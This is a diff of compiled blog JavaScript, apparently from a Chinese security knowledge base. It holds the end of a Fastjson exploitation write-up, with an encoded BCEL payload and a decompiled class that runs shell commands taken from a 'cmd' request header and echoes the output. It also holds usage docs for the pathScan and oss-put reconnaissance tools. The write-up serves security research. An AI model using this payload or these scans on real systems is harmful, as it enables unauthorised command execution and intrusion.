Qd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"}}\n\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u6f0f\u6d1e\u5b58\u5728\u5373\u53ef\u76f4\u63a5\u56de\u663e\u7ed3\u679c\u3002"}),"\n",(0,t.jsx)(e.p,{children:"4.2 \u5229\u7528\u4ee3\u7801\u7b80\u5355\u5206\u6790\npayload\u4e2d\u7684\u4e8c\u8fdb\u5236\u4ee3\u7801\u662fBCEL\u7c7b\u7684\u52a0\u5bc6\u5185\u5bb9\u3002\u5982\u679c\u60f3\u8981\u8fdb\u884c\u5206\u6790\u7684\u8bdd \uff0c\u53ef\u4ee5\u901a\u8fc7\u5de5\u5177\u6765\u76f4\u63a5\u89e3\u6790\u51fa\u7ed3\u679c\u3002\n\u968f\u6587\u9644\u4e0a\u89e3\u6790\u5de5\u5177 \uff0c\u6267\u884c"}),"\n",(0,t.jsx)(e.p,{children:"java -jar BCELCode.jar -d 1.txt"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-java",children:'// Source code is decompiled from a .class file using FernFlower decompiler.\npackage com.fastjson.vul;\n\nimport java.lang.reflect.Method;\nimport java.util.Scanner;\n\npublic class SpringEcho {\n public SpringEcho() {\n }\n\n static {\n try {\n Class var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");\n Method var1 = var0.getMethod("getRequestAttributes");\n Object var2 = var1.invoke((Object)null);\n var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");\n var1 = var0.getMethod("getResponse");\n Method var3 = var0.getMethod("getRequest");\n Object var4 = var1.invoke(var2);\n Object var5 = var3.invoke(var2);\n Method var6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");\n Method var7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);\n var7.setAccessible(true);\n var6.setAccessible(true);\n Object var8 = var6.invoke(var4);\n String var9 = (String)var7.invoke(var5, "cmd");\n String[] var10 = new String[3];\n if (System.getProperty("os.name").toUpperCase().contains("WIN")) {\n var10[0] = "cmd";\n var10[1] = "/c";\n } else {\n var10[0] = "/bin/sh";\n var10[1] = "-c";\n }\n\n var10[2] = var9;\n var8.getClass().getDeclaredMethod("println", String.class).invoke(var8, (new Scanner(Runtime.getRuntime().exec(var10).getInputStream())).useDelimiter("\\\\A").next());\n var8.getClass().getDeclaredMethod("flush").invoke(var8);\n var8.getClass().getDeclaredMethod("close").invoke(var8);\n } catch (Exception var11) {\n }\n\n }\n}\n\n\n'})})]})}function l($={}){const{wrapper:e}={...(0,n.R)(),...$.components};return e?(0,t.jsx)(e,{...$,children:(0,t.jsx)(o,{...$})}):o($)}}}]); \ No newline at end of file diff --git a/assets/js/9802ce98.0bb22b74.js b/assets/js/9802ce98.0bb22b74.js new file mode 100644 index 0000000..ebf0514 --- /dev/null +++ b/assets/js/9802ce98.0bb22b74.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5305],{24420:(e,n,s)=>{s.d(n,{A:()=>c});const c=s.p+"assets/images/image-20230822163449876-e0347fc48ea8e044c68f5d54f4b36d15.png"},28453:(e,n,s)=>{s.d(n,{R:()=>d,x:()=>i});var c=s(96540);const t={},a=c.createContext(t);function d(e){const n=c.useContext(a);return c.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:d(e.components),c.createElement(a.Provider,{value:n},e.children)}},50116:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>l,contentTitle:()=>i,default:()=>h,frontMatter:()=>d,metadata:()=>c,toc:()=>o});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u626b\u63cf\u6a21\u5f0f","title":"\u626b\u63cf\u6a21\u5f0f","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/04.\u626b\u63cf\u6a21\u5f0f.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u626b\u63cf\u6a21\u5f0f","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u626b\u63cf\u6a21\u5f0f","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/04.\u626b\u63cf\u6a21\u5f0f.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u547d\u4ee4\u53c2\u6570","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u547d\u4ee4\u53c2\u6570"},"next":{"title":"KnownSec 2023\u5e74\u5ea6\u7b2c\u4e94\u6b21\u5185\u90e8\u653b\u9632\u6f14\u7ec3","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/Knownsec/knownsec-ctf-09/"}}');var t=s(74848),a=s(28453);const d={},i="\u56db\u79cd\u6a21\u5f0f",l={},o=[{value:"\u626b\u63cf\u8def\u5f84",id:"\u626b\u63cf\u8def\u5f84",level:2},{value:"\u626b\u63cf\u8def\u5f84\uff08\u9012\u5f52\uff09",id:"\u626b\u63cf\u8def\u5f84\u9012\u5f52",level:2},{value:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",id:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",level:2},{value:"\u5b50\u57df\u540d\u6536\u96c6",id:"\u5b50\u57df\u540d\u6536\u96c6",level:2},{value:"\u8f85\u52a9",id:"\u8f85\u52a9",level:2}];function r(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,a.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2023-08-22 17:34:33"})]})})]}),"\n",(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"\u56db\u79cd\u6a21\u5f0f",children:"\u56db\u79cd\u6a21\u5f0f"})}),"\n",(0,t.jsx)(n.h2,{id:"\u626b\u63cf\u8def\u5f84",children:"\u626b\u63cf\u8def\u5f84"}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsxs)(n.p,{children:["\u901a\u8fc7\u6307\u5b9a\u8def\u5f84\u6587\u4ef6\u6216\u8005\u9ed8\u8ba4\u4e0d\u6307\u5b9a\u65f6\uff0c\u81ea\u52a8\u52a0\u8f7d",(0,t.jsx)(n.code,{children:"main.txt"})," \u4e2d\u7684\u8def\u5f84\uff0c\u626b\u63cf"]}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"pathScan -u http://localhost:8080 -sc 404 -sbl 0\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20230822155116797",src:s(59694).A+"",width:"1132",height:"392"})}),"\n",(0,t.jsx)(n.h2,{id:"\u626b\u63cf\u8def\u5f84\u9012\u5f52",children:"\u626b\u63cf\u8def\u5f84\uff08\u9012\u5f52\uff09"}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsx)(n.p,{children:"-r \u9012\u5f52\u626b\u63cf \u65f6\u95f4\u6d88\u8017\u957f\uff0c\u5224\u65ad\u8def\u5f84\u7684\u4f9d\u636e\u4e3a path\u7684\u7ed3\u5c3e \u4e3a /\uff0c\u5373\u4e3a\u8def\u5f84"}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"pathScan -list url.txt -r sc 404 -sbl 0 -pf /root/.config/pathScan/dict/main.txt\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20230822163449876",src:s(24420).A+"",width:"1217",height:"657"})}),"\n",(0,t.jsx)(n.h2,{id:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",children:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce"}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsx)(n.p,{children:"[!Waring]"}),"\n",(0,t.jsxs)(n.p,{children:["\u8fd0\u884c\u524d\uff0c\u9700\u914d\u7f6e\u5bf9\u5e94\u7684API\u81f3 ",(0,t.jsx)(n.code,{children:"$HOME/.config/pathScan/provider-config.yaml"})," \u4e2d"]}),"\n"]}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsx)(n.p,{children:"\u901a\u8fc7\u8c03\u7528\u641c\u7d22\u5f15\u64ce\u7684API\uff0c\u6765\u6536\u96c6\u76ee\u6807\uff0c\u5e76\u4e14\u53ef\u6307\u5b9a\u626b\u63cf\u8def\u5f84"}),"\n",(0,t.jsx)(n.p,{children:"\u652f\u6301\u7684API -> shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,zone,binary"}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:'pathScan -uc -uq \'domain="baidu.com"\' -ue fofa -ps "/api/v1/users"\n'})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20230822165720553",src:s(74628).A+"",width:"1183",height:"525"})}),"\n",(0,t.jsx)(n.h2,{id:"\u5b50\u57df\u540d\u6536\u96c6",children:"\u5b50\u57df\u540d\u6536\u96c6"}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsxs)(n.p,{children:["\u7c7b\u4f3c\u4e8e ",(0,t.jsx)(n.code,{children:"oneforall"}),"\u7684\u4e3b\u52a8\u6536\u96c6\u8fc7\u7a0b\u4e0e\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u76f8\u7ed3\u5408\uff0c\u6536\u96c6\u5b50\u57df\u540d\u4fe1\u606f"]}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"pathScan -sub -sq 'baidu.com'\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20230822170546203",src:s(96636).A+"",width:"1218",height:"476"})}),"\n",(0,t.jsx)(n.h2,{id:"\u8f85\u52a9",children:"\u8f85\u52a9"}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsxs)(n.p,{children:["\u4e0a\u8bc9\u6240\u63d0\u5230\u7684\u6240\u6709\u6a21\u5f0f\u4e2d\uff0c\u82e5\u60f3\u53d1\u73b0\u5728\u8bf7\u6c42\u4e2d\u53d1\u73b0\u66f4\u591a\u7684\u57df\u540d\uff0c\u5219\u53ef\u4ee5\u4f7f\u7528\u53c2\u6570 ",(0,t.jsx)(n.code,{children:"-sd\u3001-sdl"})," \u8be5\u53c2\u6570\u53ef\u4ee5\u53d1\u73b0\u66f4\u591a\u7684\u57df\u540d"]}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:'pathScan -u baidu.com -sd -ps / -sdl "beian.gov.cn,google.com"\n'})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20230822172149199",src:s(52585).A+"",width:"1085",height:"498"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20230822172424339",src:s(86967).A+"",width:"1173",height:"519"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5f88\u660e\u663e\u4e0d\u6b62\u662f ",(0,t.jsx)(n.code,{children:"baidu.com"}),"\uff0c\u8fd8\u662f",(0,t.jsx)(n.code,{children:"google.com"})," \u5747\u80fd\u591f\u88ab\u53d1\u73b0\uff0c\u5e76\u4e14\u6536\u96c6"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:'pathScan -u https://baidu.com -sd -sdl "google.com" -ps / # \u666e\u901a\u626b\u63cf\npathScan -r -u "baidu.com" -sd # \u9012\u5f52\npathScan -uc -ue fofa -uq \'domain="baidu.com"\' -sd -sdl "google.com" # \u641c\u7d22\u7a7a\u95f4\npathScan -s -sq "baidu.com" -sd -ps / # \u5b50\u57df\u540d\u6536\u96c6\n'})})]})}function h(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(r,{...e})}):r(e)}},52585:(e,n,s)=>{s.d(n,{A:()=>c});const c=s.p+"assets/images/image-20230822172149199-7908789eed5939a73ee5e514de22c261.png"},59694:(e,n,s)=>{s.d(n,{A:()=>c});const c=s.p+"assets/images/image-20230822155116797-acf977f79b2f46ff46db4cb63a05c386.png"},74628:(e,n,s)=>{s.d(n,{A:()=>c});const c=s.p+"assets/images/image-20230822165720553-1153ffbab887192bae249b1b6cfd40bd.png"},86967:(e,n,s)=>{s.d(n,{A:()=>c});const c=s.p+"assets/images/image-20230822172424339-ef0e0695dba8f02f581501ee56f5a017.png"},96636:(e,n,s)=>{s.d(n,{A:()=>c});const c=s.p+"assets/images/image-20230822170546203-844ff5ebbc5af15863e43e3c8d3dba00.png"}}]); \ No newline at end of file diff --git a/assets/js/9a960994.7881937c.js b/assets/js/9a960994.7881937c.js new file mode 100644 index 0000000..0d790cb --- /dev/null +++ b/assets/js/9a960994.7881937c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5406],{28453:(t,e,s)=>{s.d(e,{R:()=>c,x:()=>l});var n=s(96540);const r={},o=n.createContext(r);function c(t){const e=n.useContext(o);return n.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function l(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(r):t.components||r:c(t.components),n.createElement(o.Provider,{value:e},t.children)}},80900:(t,e,s)=>{s.r(e),s.d(e,{assets:()=>i,contentTitle:()=>l,default:()=>h,frontMatter:()=>c,metadata:()=>n,toc:()=>a});const n=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put","title":"oss-put","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/03.\u5de5\u5177\u4f7f\u7528/02.oss-put.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/03.\u5de5\u5177\u4f7f\u7528","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/03.\u5de5\u5177\u4f7f\u7528/02.oss-put.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"PathScan","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan"},"next":{"title":"MSF\u63d0\u6743","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743"}}');var r=s(74848),o=s(28453);const c={},l="oss-put",i={},a=[];function d(t){const e={a:"a",code:"code",h1:"h1",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,o.R)(),...t.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-08-19 16:43:09"})]})})]}),"\n",(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"oss-put",children:"oss-put"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6700\u65b0\u5728\u6316",(0,r.jsx)(e.code,{children:"src"}),"\u7684\u65f6\u5019\u5f88\u5bb9\u6613\u78b0\u5230\u5b58\u50a8\u6876\u7684",(0,r.jsx)(e.code,{children:"put"}),"\u5199\u5165\uff0c",(0,r.jsx)(e.code,{children:"nuclei"})," \u4e5f\u6709\u76f8\u5173\u7684poc\uff0c\u4f46\u662f\u6211\u89c9\u5f97\u8fd9\u6837\u6548\u7387\u592a\u6162\u4e86\uff0c\u4e8e\u662f\u5199\u4e86\u4e00\u4e2a\u7b80\u5355\u7684 ",(0,r.jsx)(e.strong,{children:(0,r.jsx)(e.a,{href:"https://github.com/wjlin0/oss-put",children:"\u5de5\u5177"})}),"\uff0c\u66f4\u5feb\u66f4\u9ad8\u6548\u7684\u53d1\u73b0\u5b58\u50a8\u6876\u4efb\u610f\u6587\u4ef6\u6f0f\u6d1e\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u7c7b\u4f3c\u4e8e\u4e0b\u9762\u8fd9\u79cd"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191643315.png",alt:"image-20240121220930915"})}),"\n",(0,r.jsx)(e.p,{children:"\u53ef\u4ee5\u7ed3\u5408\u6211\u4e4b\u524d\u5199\u7684\u5de5\u5177\uff0c\u8fdb\u884c\u4e00\u4e2a\u6279\u91cf\u7684\u9a8c\u8bc1"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-shell",children:"# pathScan \u6536\u96c6 example.com \u76f8\u5173\u5b50\u57df\u540d \u81f3 url.txt\npathScan -s -sq 'example.com' -o url.txt\n# oss-put \u53d1\u73b0\u5b58\u5728oss\u4efb\u610f\u6587\u4ef6\u5199\u5165\u7684\u76ee\u6807\n./oss-put.py -list url.txt -o output.txt\n"})})]})}function h(t={}){const{wrapper:e}={...(0,o.R)(),...t.components};return e?(0,r.jsx)(e,{...t,children:(0,r.jsx)(d,{...t})}):d(t)}}}]); \ No newline at end of file diff --git a/assets/js/9d24966b.6df5a3d0.js b/assets/js/9d24966b.6df5a3d0.js new file mode 100644 index 0000000..31acb73 --- /dev/null +++ b/assets/js/9d24966b.6df5a3d0.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3679],{2560:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403182249832-20241231164045338-e32b707431c905a07ab35c90835ef215.png"},26216:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403182338042-facfa1c13af8ca73b5ff277ae3664479.png"},27640:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403182337995-265e4f2065034a994df6a30c00cfd8d3.png"},28202:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>o,default:()=>l,frontMatter:()=>a,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/FoFa\u722c\u866b/README","title":"FoFa\u722c\u866b","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/04.FoFa\u722c\u866b/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/04.FoFa\u722c\u866b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/FoFa\u722c\u866b/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/FoFa\u722c\u866b/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/04.FoFa\u722c\u866b/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406"},"next":{"title":"\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76/"}}');var r=t(74848),i=t(28453);const a={},o="FoFa\u722c\u866b",c={},d=[{value:"\u524d\u6cbf",id:"\u524d\u6cbf",level:2},{value:"\u5206\u6790",id:"\u5206\u6790",level:2},{value:"Cookie\u7684\u5b9e\u73b0",id:"cookie\u7684\u5b9e\u73b0",level:2},{value:"\u63d0\u95ee",id:"\u63d0\u95ee",level:2},{value:"\u524d\u6cbf",id:"\u524d\u6cbf-1",level:2},{value:"\u5206\u6790",id:"\u5206\u6790-1",level:2},{value:"Cookie\u7684\u5b9e\u73b0",id:"cookie\u7684\u5b9e\u73b0-1",level:2}];function h(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(n.header,{children:(0,r.jsx)(n.h1,{id:"fofa\u722c\u866b",children:"FoFa\u722c\u866b"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:38:46"})]})})]}),"\n",(0,r.jsx)(n.h1,{id:"fofa\u722c\u866bapi\u8fdb\u4e00\u6b65\u7814\u7a76",children:"FoFa\u722c\u866bAPI\u8fdb\u4e00\u6b65\u7814\u7a76"}),"\n",(0,r.jsx)(n.h2,{id:"\u524d\u6cbf",children:"\u524d\u6cbf"}),"\n",(0,r.jsxs)(n.p,{children:["\u51e0\u5e74\u524d\u6211\u5728\u535a\u5ba2\u4e0a\u53d1\u8868\u4e00\u4e2a\u6587\u7ae0\uff0c\u5c31\u662f ",(0,r.jsxs)(n.a,{href:"https://www.wjlin0.com/archives/%E8%AE%B0fofa%E7%88%AC%E8%99%AB%E5%B7%A5%E5%85%B7%E5%BC%80%E5%8F%91%E7%AF%87",children:["\u57fa\u4e8e",(0,r.jsx)(n.strong,{children:"fofa"}),"\u722c\u866b\u83b7\u53d6URL"]}),"\uff08\u611f\u5174\u8da3\u53ef\u4ee5\u53bb\u56de\u770b\u4e00\u4e0b\uff09 \uff0c\u4f46\u662f\u90a3\u4e2a\u662f\u57fa\u4e8e",(0,r.jsx)(n.strong,{children:"Selenium"}),"\uff0c\u7531\u4e8e\u8fd9\u4e2a\u4e1c\u897f\u722c\u8d77\u6765\u8fc7\u6162\uff0c\u800c\u4e14\u5185\u5b58\u5f00\u9500\u5f88\u5927\uff0c\u8fd8\u662fpython\u5b9e\u73b0\u7684\uff0c\u6211\u6ee1\u8138\u7684\u5acc\u5f03\uff0c\u4e3a\u4e86\u63d0\u5347\u722c\u53d6\u7684\u901f\u5ea6\uff0c\u6240\u4ee5\u5c31\u6709\u4e86\u8fd9\u7bc7\u6587\u7ae0\u7684\u8bde\u751f\u3002"]}),"\n",(0,r.jsx)(n.h2,{id:"\u5206\u6790",children:"\u5206\u6790"}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u4e0a\u4e00\u7bc7\u6587\u7ae0\u4e2d\u63d0\u5230\uff0c\u7531\u4e8e\u533f\u540d\u7528\u6237\u53ea\u80fd\u8bbf\u95ee\u524d\u4e94\u9875~~(\u73b0\u5728\u53ea\u80fd\u83b7\u53d6\u524d\u9762\u4e00\u9875\u7684\u5185\u5bb9\u4e86\uff0c\u771f\u8be5\u6b7b)~~\u7684\u5185\u5bb9\uff0c\u6240\u4ee5\u65e0\u6cd5\u83b7\u53d6\u5230\